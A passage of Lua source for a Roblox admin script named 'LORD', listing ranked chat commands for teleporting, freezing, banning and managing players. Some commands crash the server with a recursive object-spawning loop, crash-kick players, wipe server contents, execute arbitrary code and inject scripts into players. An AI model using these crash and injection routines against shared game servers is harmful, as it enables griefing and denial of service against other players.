						Ping("Disabled Local Script: "..v.Name, Speaker, 5)
1708
					end
1709
				end
1710
			end
1711
		end)
1712
		ypcall(function()
1713
			for _,v in pairs(name.Backpack:GetChildren()) do
1714
				if string.find(v.Name:lower(), ScriptName) then
1715
					if v:IsA("Script") or v:IsA("LocalScript") then
1716
						v.Disabled = true
1717
						v:Destroy()
1718
						FoundLocal = true
1719
						Ping("Disabled Local Script: "..v.Name, Speaker, 5)
1720
					end
1721
				end
1722
			end
1723
		end)
1724
		ypcall(function()
1725
			for _,v in pairs(name.PlayerGui:GetChildren()) do
1726
				if string.find(v.Name:lower(), ScriptName) then
1727
					if v:IsA("Script") or v:IsA("LocalScript") then
1728
						v.Disabled = true
1729
						v:Destroy()
1730
						FoundLocal = true
1731
						Ping("Disabled Local Script: "..v.Name, Speaker, 5)
1732
					end
1733
				end
1734
			end
1735
		end)
1736
		if FoundLocal == false then
1737
			Ping("Local Script Not Found", Speaker, 5)
1738
		end
1739
	end
1740
end)
1741
1742
Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
1743
	for _,v in pairs(game:GetChildren()) do
1744
		ypcall(function()
1745
			if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
1746
				for _,a in pairs(v:GetChildren()) do
1747
					ypcall(function()
1748
						a:Destroy()
1749
					end)
1750
				end
1751
			elseif v.Name == "Players" then
1752
				for _,plr in pairs(v:GetPlayers()) do
1753
					Clear(plr)
1754
				end
1755
			end
1756
		end)
1757
	end
1758
	Clean()
1759
	Fixl()
1760
	Ping("Fully Cleaned", Speaker, 5)
1761
end)
1762
1763
Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
1764
	LClean()
1765
	Fixl()
1766
	Ping("Lightly Cleaned", Speaker, 5)
1767
end)
1768
1769
Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
1770
	local PlrTab = getPlayer(Speaker, Msg)
1771
	if #PlrTab > 0 then
1772
		for _,v in pairs(PlrTab) do
1773
			ypcall(function()
1774
				v:LoadCharacter()
1775
				Ping("Reset "..v.Name, Speaker, 5)
1776
			end)
1777
		end
1778
	end
1779
end)
1780
1781
Command("Respawn", 2, "Respawns A Player", function(Msg, Speaker)
1782
	local PlrTab = getPlayer(Speaker, Msg)
1783
	if #PlrTab > 0 then
1784
		for _,v in pairs(PlrTab) do
1785
			ypcall(function()
1786
				v:LoadCharacter()
1787
				Ping("Respawned "..v.Name, Speaker, 5)
1788
			end)
1789
		end
1790
	end
1791
end)
1792
1793
1794
Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
1795
	repeat wait() until Speaker.Character:findFirstChild("Torso")
1796
	if Work:findFirstChild("Base") then
1797
		Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
1798
	else
1799
		Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
1800
	end
1801
	Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
1802
end)
1803
1804
Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
1805
	local PlrTab = getPlayer(Speaker, Msg)
1806
	if #PlrTab > 0 then
1807
		for _,v in pairs(PlrTab) do
1808
			ypcall(function()
1809
				v.Character.Torso.Anchored = true
1810
				Ping("Froze "..v.Name, Speaker, 5)
1811
			end)
1812
		end
1813
	end
1814
end)
1815
1816
Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
1817
	local PlrTab = getPlayer(Speaker, Msg)
1818
	if #PlrTab > 0 then
1819
		for _,v in pairs(PlrTab) do
1820
			ypcall(function()
1821
				for _,v2 in pairs(v.Character:GetChildren()) do
1822
					ypcall(function()
1823
						v.Torso.Anchored = false
1824
					end)
1825
				end
1826
				Ping("Thawed "..v.Name, Speaker, 5)
1827
			end)
1828
		end
1829
	end
1830
end)
1831
1832
Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
1833
	local PlrTab = getPlayer(Speaker, Msg)
1834
	if #PlrTab > 0 then
1835
		for _,v in pairs(PlrTab) do
1836
			ypcall(function()
1837
				Instance.new("ForceField", v.Character)
1838
			end)
1839
		end
1840
	end
1841
end)
1842
1843
1844
Command("Btools", 3, "Gives A Player BTOOLS", function(Msg, Speaker)
1845
	local PlrTab = getPlayer(Speaker, Msg)
1846
	if #PlrTab > 0 then
1847
		for _,v in pairs(PlrTab) do
1848
			ypcall(function()
1849
t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
1850
t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
1851
t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
1852
t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
1853
			end)
1854
		end
1855
	end
1856
end)
1857
1858
Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
1859
	local PlrTab = getPlayer(Speaker, Msg)
1860
	if #PlrTab > 0 then
1861
		for _,v in pairs(PlrTab) do
1862
			ypcall(function()
1863
				RemObj(v.Character, "ForceField")
1864
			end)
1865
		end
1866
	end
1867
end)
1868
1869
Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
1870
	local Split = GetSplit(Msg)
1871
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
1872
	local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
1873
	if #PlrTab > 0 and #PlrTab2 > 0 then
1874
		for i,v in pairs(PlrTab) do
1875
			ypcall(function()
1876
				for _,v2 in pairs(PlrTab2) do
1877
					ypcall(function()
1878
						v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
1879
						Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
1880
					end)
1881
				end
1882
			end)
1883
		end
1884
	end
1885
end)
1886
1887
Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
1888
	MakeExplorer(Speaker)
1889
end)
1890
1891
Command("Info", 0, "Shows Information About LORD", function(Msg, Speaker)
1892
	wait()
1893
	Dismiss(Speaker)
1894
	NumBanned = 0
1895
	NumCmds = 0
1896
	for i = 1, #Rankings do
1897
		if Rankings[i].Rank < 0 then
1898
			NumBanned = NumBanned + 1
1899
		end
1900
	end
1901
	for i,v in pairs(Commands) do
1902
		NumCmds = NumCmds + 1
1903
	end
1904
	Ping("Admin Name: Dea¬th V¬ia HCWARLORD", Speaker)
1905
	Ping("LORDs Admin Created By: HCWARLORD", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("44esabehtfonam"))
1906
	Ping("Date Started: 18th May 2013", Speaker)
1907
	Ping("Your ID: "..Speaker.userId, Speaker)
1908
	Ping("Total Number Of Players: "..#All2(), Speaker)
1909
	Ping("Total Number Of Commands: "..NumCmds, Speaker)
1910
	Ping("Total Number Of Banned Players: "..NumBanned, Speaker)
1911
	Ping("ShowGarbage", Speaker)
1912
end)
1913
1914
Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
1915
	Dismiss(Speaker)
1916
	for i,v in pairs(All()) do
1917
		Ping(v.Name.."'s Rank: "..FindRank(v))
1918
	end
1919
end)
1920
1921
Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
1922
	local Split = GetSplit(Msg)
1923
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
1924
	local Speed = tonumber(Msg:sub(Split + 1))
1925
	for _,v in pairs(PlrTab) do
1926
		ypcall(function()
1927
			v.Character.Humanoid.WalkSpeed = Speed
1928
			Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
1929
		end)
1930
	end
1931
end)
1932
1933
Command("UnAb", 2, "Removes LORD Anti-Bans", function(Msg, Speaker)
1934
	local RemoveAB = Instance.new("StringValue")
1935
	RemoveAB.Name = "LORD Attachment"
1936
	RemoveAB.Value = [[LORD.override=true;]]
1937
	RemoveAB.Parent = Work
1938
	Ping("Removed All LORD Anti-Bans", Speaker, 5)
1939
end)
1940
1941
Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
1942
	Dismiss(Speaker)
1943
	for i,v in pairs(Injected) do
1944
		Ping(i, Speaker)
1945
	end
1946
end)
1947
1948
Command("UnLORD", 3, "Removes LORDs Admin", function(Msg, Speaker)
1949
	local RemoveCBA = Instance.new("StringValue")
1950
	RemoveCBA.Name = "LORD Attachment"
1951
	RemoveCBA.Value = [[LORD.remove = false]]
1952
	RemoveCBA.Parent = Work
1953
	Ping("Removed All LORD Admins", Speaker, 5)
1954
end)
1955
1956
Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
1957
	local function BufferOverflow(object)
1958
		object.DescendantAdded:connect(BufferOverflow)
1959
		Instance.new("IntValue", object)
1960
	end
1961
	BufferOverflow(Game)
1962
end)
1963
1964
Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
1965
	local PlrTab = getPlayer(Speaker, Msg)
1966
	if #PlrTab > 0 then
1967
		for _,v in pairs(PlrTab) do
1968
			ypcall(function()
1969
				Crash1(v)
1970
				Ping("Crash Kicked "..v.Name, Speaker, 5)
1971
			end)
1972
		end
1973
	end
1974
end)
1975
1976
Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
1977
	local PlrTab = getPlayer(Speaker, Msg)
1978
	if #PlrTab > 0 then
1979
		for _,v in pairs(PlrTab) do
1980
			ypcall(function()
1981
				ChangeRank(v, -1)
1982
			end)
1983
		end
1984
	end
1985
end)
1986
1987
Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
1988
	local PlrTab = getPlayer(Speaker, Msg)
1989
	if #PlrTab > 0 then
1990
		for _,v in pairs(PlrTab) do
1991
			ypcall(function()
1992
				ChangeRank(v, -2)
1993
			end)
1994
		end
1995
	end
1996
end)
1997
1998
Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
1999
	local PlrTab = getPlayer(Speaker, Msg)
2000
	if #PlrTab > 0 then
2001
		for _,v in pairs(PlrTab) do
2002
			ypcall(function()
2003
				ChangeRank(v, -3)
2004
			end)
2005
		end
2006
	end
2007
end)
2008
2009
Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
2010
	ypcall(function()
2011
		local PlrTab = getPlayer(Speaker, Msg)
2012
		if #PlrTab > 0 then
2013
			for _,v in pairs(PlrTab) do
2014
				ypcall(function()
2015
					Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
2016
				end)
2017
			end
2018
		end
2019
		local PlrName = ChangeRank(Msg, 0)
2020
		Ping("Un-Banned "..PlrName, Speaker, 5)
2021
	end)
2022
end)
2023
2024
Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
2025
	Dismiss(Speaker)
2026
	Ping("Commands", Speaker, nil, function()
2027
		Dismiss(Speaker.Name)
2028
		Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
2029
		Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
2030
		Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
2031
		Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
2032
		Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
2033
		Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
2034
		Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
2035
		Ping("Rank HCWARLORD", Speaker, nil, function() OpenCmds(5, Speaker) end)
2036
	end)
2037
	Ping("Players", Speaker, nil, function()
2038
		ListPlayers(Speaker)
2039
	end)
2040
end)
2041
2042
Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
2043
	ListPlayers(Speaker)
2044
end)
2045
2046
Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
2047
	local Func,Error = loadstring(Msg)
2048
	getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
2049
	getfenv(Func).Speaker = Speaker
2050
	if Error == nil then
2051
		coroutine.wrap(function()
2052
			Func()
2053
		end)()
2054
		Ping("Executed Script!", Speaker, 5)
2055
	else
2056
		Ping(Error, Speaker, 10)
2057
	end
2058
end)
2059
2060
Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
2061
	if LS ~= nil then
2062
		local Split = GetSplit(Msg)
2063
		local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2064
		local LocalSource = Msg:sub(Split + 1)
2065
		if #PlrTab > 0 then
2066
			for _,v in pairs(PlrTab) do
2067
				local Inserted = LS:Clone()
2068
				Inserted.Disabled = true
2069
				Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
2070
				if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
2071
					Inserted:findFirstChild(OwnSource).Value = v.Name
2072
				end
2073
				Inserted[LSSource].Value = LocalSource
2074
				Inserted.Disabled = false
2075
			end
2076
		end
2077
	else
2078
		Ping("ERROR: Local Script Not Found", Speaker, 5)
2079
	end
2080
end)
2081
2082
Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
2083
	Msg = tostring(Msg)
2084
	Ping(Msg, Speaker)
2085
end)
2086
2087
Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
2088
	Dismiss(Speaker)
2089
	for i,v in pairs(getfenv(1)) do
2090
		ypcall(function()
2091
			Ping(tostring(i)..": "..tostring(v), Speaker)
2092
		end)
2093
	end
2094
end)
2095
2096
Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
2097
	Dismiss()
2098
	Removed = true
2099
	for i,v in pairs(getfenv(1)) do
2100
		getfenv(1)[i] = nil
2101
	end
2102
	script.Disabled = true
2103
end)
2104
2105
Command("SRank", 5, "Ranks A Player", function(Msg, Speaker)
2106
	local Split = GetSplit(Msg)
2107
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2108
	local Rank = tonumber(Msg:sub(Split + 1))
2109
	if #PlrTab > 0 then
2110
		for _,v in pairs(PlrTab) do
2111
			if v.Name ~= Owner then
2112
				ChangeRank(v, Rank)
2113
				Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
2114
			end
2115
		end
2116
	end
2117
end)